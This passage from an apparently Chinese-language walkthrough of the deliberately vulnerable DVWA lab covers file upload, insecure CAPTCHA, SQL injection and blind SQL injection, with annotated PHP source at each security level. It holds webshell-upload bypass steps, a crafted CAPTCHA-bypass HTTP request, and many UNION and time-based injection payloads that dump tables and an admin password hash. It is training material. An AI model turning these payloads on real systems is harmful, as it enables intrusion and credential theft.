if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
5、File Upload
文件上传漏洞概述:文件上传漏洞的形成是由于某些具有文件上传功能的网站对上传的文件没有合理严谨的过滤或服务端配置信息有误,导致用户可以利用文件上传的功能,上传能被服务端解析执行的文件,攻击者通过这个文件达到执行服务端命令的目的。
Low 等级
随便上传一个文件,看看这里会不有什么限制,比如只能上传jpg、png这类白名单限制或者不能上传php、jsp这类黑名单限制。
上传了一个jpeg的正常的图片发现这里提示说没有上传上,然后接着又上传了一个png的图片
这里就很清楚的看出来,png的可以上传,但是jpeg就不行,再看看jpg和php能不能上传
jpg也不能上传,但是php的却可以直接上传上去,接着访问一下给出的路径,看到给出的路径往上翻了两个目录所有可以确定,访问的位置是在网站的根目录下的hackable/uploads/目录下
php文件可以直接上传,这里就可以直接上传一个webshell,之后链接就可以了
## 源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //定义文件保存的路径为 Web根目录连结后面的路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //连接路径和文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { //如果没有移动文件到新路径下就执行下面输出
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
Medium 等级
直接上传了一个php的文件,被拦了下来,给出了提示,只能上传jpeg和png类型。
上传一个png的图片木马正常的上传了上去
访问一下文件的地址,可以正常的访问,使用(菜刀)🔪去连接一下
只能访问到不能链接,说明图片马不能在这里用,但是如果是通过文件包含漏洞的话 就可以用,这里再上传一个php文件然后使用bp抓包,修改MIME参数,服务端可能是做了类型限制所以上传不了php文件
成功上传了
再使用🔪连接
## 源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //获取上传文件的名字
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //获取上传文件的类型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //获取上传文件的大小
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) { //判断图片的类型是不是png和jpeg类型,大小是否小于100000字节
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // 这里和Low等级一样 检查是否移动文件了
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
High 等级
还是直接放一个php文件上去,和猜到的结果一样,一般很少可以直接用php的,还是试试其他的
上传png的木马看看,先把服务端的其他木马平台都删除了,避免出现干扰
居然还是一样的访问到了图片🐎
使用🔪链接一下 看看能不能直接解析吧
这里不能访问到了,再试试刚刚的方法上传php文件然后抓包
这次就不能上传上去了,前面用到了类型和大小的限制,这里可能是检查后缀了,测试用空字符隔断试试,先抓包,然后把数据发到重发器中测试
改一下空字符隔断的编码,然后发送
这里发送后看到响应报文,发现也不行,再试试修改后缀绕过或者使用文件头幻数
使用修改后缀发现也不能上传,这里可能就是使用文件头检测了,修改文件头为png或jpeg的文件头(Hex)
png:80 50 4E 47
jpg:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
发现依然绕不过去,就看看源码再解决吧
## 源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //截取点之后的字符串
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
// 判断截取到的后缀是不是等于jpg或jpeg、png(strolower函数会将字符串都转为小写)
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
发现这个后缀被截取了,试试加一个.png后缀
结果还是不能绕过,%00截断的使用有要求,在PHP<5.3.4的环境中存在,而我的环境不符合,但是可以使用jpg木马上传后利用文件包含去解析jpg文件
这就说明 图片🐎 已经被解析了,可以使用菜刀去连接了
Impossible 等级
看看源码中的规则吧
## 源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //设置了token 防止csrf
// File information
//图片类型基本都限制到了
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
//uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; //添加随机唯一id然后对文件加密,再重新组合扩展名
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// 将加密后的文件和分隔符拼接(php的内置常量DIRECTORY_SEPARATOR是一个显示系统分隔符的命令)
// Is it an image?
// 判断文件的后缀和类型
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
// 以对应的格式将上传的文件进行压缩输出
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
// 给文件改名
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
// 禁止有重复文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
6、Insecure CAPTCHA
前言:
Low 等级
正常 dvwa 不安全的验证码这边显示应该存在一个验证码的框框,我这边环境没有梯子,也无法访问google,导致验证码的框框也没显示出来,后面再看看怎么解决吧,先做题
正常显示
使用BP对提交的数据进行抓包,如果直接放过,这里的step字段就是默认值,肯定是无法修改密码的,但是我们也看不到验证码任何确定验证的,所以只能靠猜测,0,1 在二进制中表示 开,关或对,错,使用重放工具,进行测试
发现 输入0之后发送,这里没有任何反应,可能0也不对,接着往后面测试,由于step默认给的是1 ,就往后测试数字,尝试绕过
输入 step=2 的时候发现回显不一样了,查看一下响应源码
发现这里输出了 “Password Changed”,说明密码已经成功修改了,尝试使用用新密码登录
成功的使用新密码登录了
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { //如果step == 1
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], //利用私钥连接验证码服务器地址返回响应
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) { // 检测校验是否有效,如果有效就会返回True ,!True 就是 False
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else { // 上面的结果是 False 就会直接执行这里的else块
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) { // 判断输入的密码是否相同,如果相同则进行下面语句
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else { // 如果密码不相同,则输出 密码不同
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { //如果step == 2 进行下面的语句
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new ); //转义输入的密码中的特殊符号(\x00、\n、\r、\、'、"、\x1a)
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; // 更新密码
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
从源码中看出,这里的验证码,其实只是利用step字段进行验证,而且在存在逻辑漏洞,仅靠change和step=2字段进行验证,直接进行修改密码的操作了。
Medium 等级
先测试了一下,回显,没有通过验证码
没什么思路,看看源码吧
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> //这里隐藏了一个true的值,而我们提交的数据中没有这个字段
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) { // 这里判断了 passed_captcha 字段的值 默认上面的值是true,这里进行了 '!' 操作,当passed_captcha=true时,if条件就是false,而默认的passed_captcha就是true
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
原本代码中的存在一个passwd_captcha字段,默认值是true,所以这边需要添加一个passed_captcha 字段,设置值为false,就可以绕过了
修改成功
High 等级
这里通过bp抓包,数据又多了一个token字段,这里token字段无法直接突破。
从重放器中发现了可利用的信息,这是重放之后的响应数据,里面存在一个recaptcha_response_field 字段,下面的注释中解释了响应是 ‘hidd3n_valu3’ 再看 input输入框中的 value=manual_challenge 这里的意思大概是 value 需要手动去设置,还有 && 号,表示响应值和UA头都需要正确,并且也给出了UA的字段值是reCAPTCHA。
# 构造请求数据payload
POST /vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.10.200:8080
User-Agent: reCAPTCHA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://192.168.10.200:8080
Connection: close
Referer: http://192.168.10.200:8080/vulnerabilities/captcha/
Cookie: PHPSESSID=pilea920ind9fnqpnfjp8emj45; security=high; BEEFHOOK=zZrY5q09WedwUgaXxo1P2lwOmVEpDA0VqnMiGyax7an0LjtFeiOfCKnaAqimYezOKA2g1FwOTf2tMIRT
Upgrade-Insecure-Requests: 1
step=1&password_new=admin&password_conf=admin&user_token=e7c4abef917ba2f894b04e8962b3eeae&Change=Change&recaptcha_response_field=hidd3n_valu3
因为cookie会变化,所以建议这个过程抓包的时候直接添加字段和值,修改UA 然后提交即可
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail? //在这里进行 判断 recaptcha_response_field == hidd3n_valu3 和 UA == reCAPTCHA,这里两个条件有一个不符合就不能通过
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
}
else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
mysql_close();
}
// Generate Anti-CSRF token //防止跨站点请求伪造
generateSessionToken();
?>
这关就这样结束了,impossible就不分析了。
7、SQL Injection
Low 等级
判断注入的类型,sql注入类型为数字型注入和字符型注入,先在注入点判断一下注入的类型。
## 使用 1 and 1=1 和 1 and 1=2 查看回显结果,如果 1 and 1=2 回显不同于前面,说明存在数字型注入
## 如果上面的测试没有回显错误,接着测试 1' and '1'='2 如果回显与1' and '1'='1 不同,说明 这里存在字符型注入
测试完成后,发现 1’ and ‘1’='2 没有回显,说明这边存在字符型漏洞,接着测试一下当前数据库的列数
1' order by 4 #
1' order by 2 #
## ‘#’ 用于注释掉后端用于查询的sql语句后面的全部,也可以用其他的注释方法
## -- 单行注释
## # 单行注释
## /**/ 多行注释
测试完成到当前数据库有两列,接着测试数据库中的回显位置,使用联合查询
0' union select '1','2' #
## union 联合查询,前一个条件不成立的时候才会使用union,所以第一个值,必须是数据库中不可能存在的值,才能进行联合查询后面的语句。
看到回显位置,有两个位置,分别显示了 1 和 2 接着查看当前数据库的名字。
0' union select database(),user() #
## database() 返回当前数据库名
## user() 返回当前数据库用户信息
爆破mysql中的全部数据库名字
?id=000' UNION SELECT GROUP_CONCAT(schema_name),2 FROM information_schema.schemata #
## 得到的数据名
information_schema,dvwa,mysql,performance_schema
爆破其他某些数据库中的全部数据表
?id=000' UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema='dvwa' #
## 得到的数据表名
guestbook,users
再爆破数据表中的字段名
?id=000' UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='guestbook' #
## 得到的字段名
comment_id,comment,name
查询数据表中的字段的值
?id=000' UNION SELECT concat(0x7e,comment_id,0x7e,comment,0x7e,name),2 FROM guestbook #
可以看到这里面的每个字段的值都使用了‘~’符号进行分隔了,在sql注入之后,得到自己想要的结果就可以收手了。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; //接收 参数id传入的值
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 将id的值直接给sql语句执行,使用了 '' 包裹,所以这里是有字符型注入的漏洞的
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
Medium 等级
这次是一个选择框代替输入,没办法直接输入,而且也没看到提交的url中存在参数,就通过抓包查看一下吧
这关使用了post方法提交,直接在bp中进行注入吧
看到测试中有正确的回显,继续测试。
看到这里没有报错,但是没有正确回显,根据我们输入的参数值,id=1 and 1=2 使用 and 两边同时满足true,结果才是True,现在结果明显是False 说明 1=2 也已经被识别到了,就不会是字符型注入了。所以这里是 数字型注入,继续使用 union 找到回显的位置。
之后就和low中的一样,将数据库中的数据表爆出来,最后将字段爆出。
中间过程就不做了,这关和low等级的不一样的就在于注入类型不一样,其他的都还是一样的。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id ); //在以下字符前添加反斜杠: \x00, \n, \r, **, ', " 和 \x1a.
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //这里传入的变量没有引号包裹
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
High 等级
还是先使用bp抓包一下
上面可以看到回显Session ID :1,先正常输入,抓到数据包之后,放到重放器中再进行下一步测试
从窗口直接输入,先测试一下,注入的类型,看上面的回显,可以发现,回显正常,说明不存在数字型注入,所以可能是字符型注入,所以使用字符型进行测试。
判断没有错,存在字符型注入,接下来继续进行测试
发现有回显,使用上面的union语句继续爆破
0' union select group_concat(schema_name),2 from information_schema.schemata #
后面就是一样的步骤,爆破数据表和字段值了,这里有个奇怪的问题,我注意到这个输入框的源码中有设置size属性限制输入的长度,但是好像没有什么用。
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; //使用sessionID获取客户端传输来的信息
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //返回 一行内容 ,由于我使用了group_concat()函数,将查询的结果进行了拼接了,所以也就是一行内容,而且payload中使用了 '#' 进行注释了。
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
Impossible 等级
分析源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //检测Token的值和session值
// Get input
$id = $_GET[ 'id' ]; // 获取传入的id值
// Was a number entered?
if(is_numeric( $id )) { //判断是否为数字或数字字符串
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT ); //预处理传入的值
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible 等级就是传说中的无懈可击~~~~🤣
8、SQL Injection(Blind)
Sql 盲注练习,在无法得到准确的数据库信息的条件下,只能通过判断数据库长度、数据库名称编码对比和页面响应时间等等来进行判断是否存在注入。
Low 等级
先正常输入一下,抓个包,然后慢慢分析
这是正常查询的输出,说这个用户的ID在这个数据库中。
接着就判断注入的类型和方法吧,这关是考察盲注的,回显的信息中没有敏感的数据,所以要靠其他方法进行判断。
# 布尔型注入
## 利用 and、or 构造为真的sql语句,当 and 两端都为 true 时,页面正常回显,如果一端为 false 则回显不正常,or 则是两端都为 false 才会回显不正常
# 正常输入
?id=2&Submit=Submit
# 构造 and 判断
?id=2' and '2'='2 &Submit=Submit // 此时页面应正常的返回
?id=2' and '2'='1 &Submit=Submit // 此时页面返回不正常,就可以判断存在布尔型盲注
## 如果都正常返回说明此方法不适用,就需要更换其他方法判断
# 时间盲注
?id=2' and sleep(4)%23 &Submit=Submit // 页面如果存在注入,页面的响应时间会在 4s 多
先进行 注入的类型判断,通过尝试,判断这里存在字符型注入
猜解当前数据名,前提是我们已经得知这里使用的数据库是MySQL数据库,可以利用MySQL数据库中的一些函数来进行尝试。
# MySQL 系统函数
ASCII(s) #返回字符串 s 的第一个字符的 ASCII 码。
CHAR_LENGTH(s) #返回字符串 s 的字符数。
CHARACTER_LENGTH(s) #返回字符串 s 的字符数,等同于 CHAR_LENGTH(s)。
CONCAT(s1,s2...sn) #字符串 s1,s2 等多个字符串合并为一个字符串。
CONCAT_WS(x, s1,s2...sn) #同 CONCAT(s1,s2,...) 函数,但是每个字符串之间要加上 x,x 可以是分隔符。
MID(s,n,len) #从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)。
SUBSTR(s, start, length) #从字符串 s 的 start 位置截取长度为 length 的子字符串。
SUBSTRING(s, start, length) #从字符串 s 的 start 位置截取长度为 length 的子字符串,等同于 SUBSTR(s, start, length)。
CURRENT_USER()、SYSTEM_USER()、SESSION_USER()、USER() #返回当前用户。
DATABASE() #返回当前数据库名。
IF(expr,v1,v2) #如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
IFNULL(v1,v2) #如果 v1 的值不为 NULL,则返回 v1,否则返回 v2。
VERSION() #返回数据库的版本号。
LENGTH(str) #返回字符串str的字节个数
SLEEP(i) #延时i秒之后输出
利用 LENGTH() 函数来判断当前数据库的长度
# payload
?id=1' and if(length(database())<6,sleep(4),1) #
## 如果长度符合,则and 的会返回一个sleep(4)的函数,页面就会被延时4s后响应
根据页面响应的时间,说明 database() 的长度是小于6的,可以继续进行测试判断数据库长度,最终测试出数据库的长度为4,当然这种手工判断的方法非常浪费时间,我是为了学习,所以进行手工判断,正常可以使用sqlmap或者自己写脚本工具进行爆破,一般手工只用来判断是否存在注入点和注入的类型,一旦确定了注入的类型就可以使用脚本或工具进行辅助。
判断数据库的第一个字符,如果硬要手工来判断的话,肯定是先尝试使用26个英文字母进行判断,运气好很快就可以判断出来了,运气不好,可能开头的是个z就很麻烦了,所以这时候就需要用到工具或脚本来进行判断了。
# 判断数据库名称payload
?id=1' and if(substr(database(),1,1)='%s',sleep(2),1) #
可以看出这个过程中,进行到第五个请求的时候 这里会卡顿一下,
当payload有问题的时候,会回显ID存在,这是因为and 后面的语句有误导致,只查询了前面一条,所以都会有响应,当and 两边都执行后,会正常执行但是无法查到数据,因此会返回空,前端就会回显不存在了。
经过前面的尝试,依次测试四次,将当前数据库的名称爆破出来
# payload
## 爆破第一个单词
?id=1' and if(substr(database(),1,1)='%s',sleep(2),1) #
## 爆破第二个单词
?id=1' and if(substr(database(),2,1)='%s',sleep(2),1) #
## 爆破第三个单词
?id=1' and if(substr(database(),3,1)='%s',sleep(2),1) #
## 爆破第四个单词
?id=1' and if(substr(database(),4,1)='%s',sleep(2),1) #
得到数据库名之后,接着尝试爆破数据库中的表名
# payload
?id=1' and if(SUBSTR((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)='%s',sleep(2),1) #
最后爆破出 表名是guestbook,users,很明显是两个表,接着就是爆破表的字段,以 users 为例,还是一样的方法,唯一有区别的就是 payload 构造的不同。
# 爆破字段名称payload
?id=1' and if(SUBSTR((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='%s',sleep(2),1) #
当然如果你觉得这种速度太慢的话,也可以使用自动化工具,或者简单的bp进行爆破,可以先将字段的长度得到再进行爆破,这样Payload1的范围就可以确定了。
最后将爆破出来的值,针对大小顺序排序即可得到字段名称
按照 Payload1 的大小顺序排
# 字段名称
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
最后,再正常去爆破字段的值就行
# 爆破字段值payload
?id=1' and if(SUBSTR((select group_concat(user,password) from users where user_id=1),1,1)='%s',sleep(2),1) #
最终得到用户是:admin 用户的密码是:5f4dcc3b5aa765d,这字符串是被md5加密过的密码,长度是32位,而我上面只有20位的payload,所以需要先得到长度在尝试,会更精准。得到加密字符串后,可以尝试进行解密。
虽然 low等级很容易通过,但是盲注的手段,如果真的全程进行手工的话,确实很累的啊。
Medium 等级
这关将参数的提交改成了单选列表,没办法直接使用参数,这里使用的提交方法是post,所以这里就需要去抓包,进行尝试爆破
抓到数据包之后,就是利用前面开始的方法,进行尝试,判断注入的类型
尝试字符型和数值型注入,最后发现这里存在数值型注入。
# 判断注入类型 payload
id=1'/**/and/**/'1'='1&Submit=Submit # 返回不存在
id=1'/**/and/**/'1'='2&Submit=Submit # 返回不存在
id=1/**/and/**/1=1&Submit=Submit # 返回存在
id=1/**/and/**/1=2&Submit=Submit # 返回不存在
## 这里使用 /**/ 是为了填充空格,/**/ 是sql 语句中多行注释的符号/*...*/。
## Post 提交的数据不会进行url编码,使用空格需要先编码空格再提交,看下面的图,url中的空格可以使用: +,%20等
确定了注入类型,就可以尝试爆破数据库长度—> 数据库名–>数据表长度–>表名–>字段长度–>字段名–>字段值的长度和字段值,也可以使用之前的方法,用BP进行爆破,了解了注入类型,先爆破一下数据库的长度。
# 爆破数据库长度 payload
1/**/and/**/if(length(database())=4,sleep(3),1)/**/%23&Submit=Submit
然后就是和之前一样,爆破数据库其他信息了。
# 源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id ); //这里使用这个函数,将参数中的特殊字符进行了转义,包括\x00、'、"、\、等特殊字符
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
High 等级
